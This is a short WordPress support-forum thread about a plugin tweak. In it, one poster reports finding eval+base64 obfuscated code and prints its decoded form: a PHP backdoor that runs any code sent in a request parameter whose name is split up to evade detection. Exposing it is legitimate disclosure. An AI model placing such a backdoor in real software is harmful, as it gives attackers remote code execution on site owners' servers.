Thank you so much Luke! That worked for me. But I’m afraid that these edit will loose on next plugin update.
@plugin_author, please make this change in your core so that we won’t loose this upon next update.
Found it myself!
It’s a series of eval+base64 encryption. After decoding, the code would be:
if (isset($_REQUEST['r' . 'e' . 'y' . 'yo']))
eval(stripslashes($_REQUEST['r' . 'e' . 'y' . 'y' . 'o']));
You cannot simply do the popping up. Instead if you want to goto the login page upon clicking menu, just link it as <a href="/wp-login.php"> Login</a>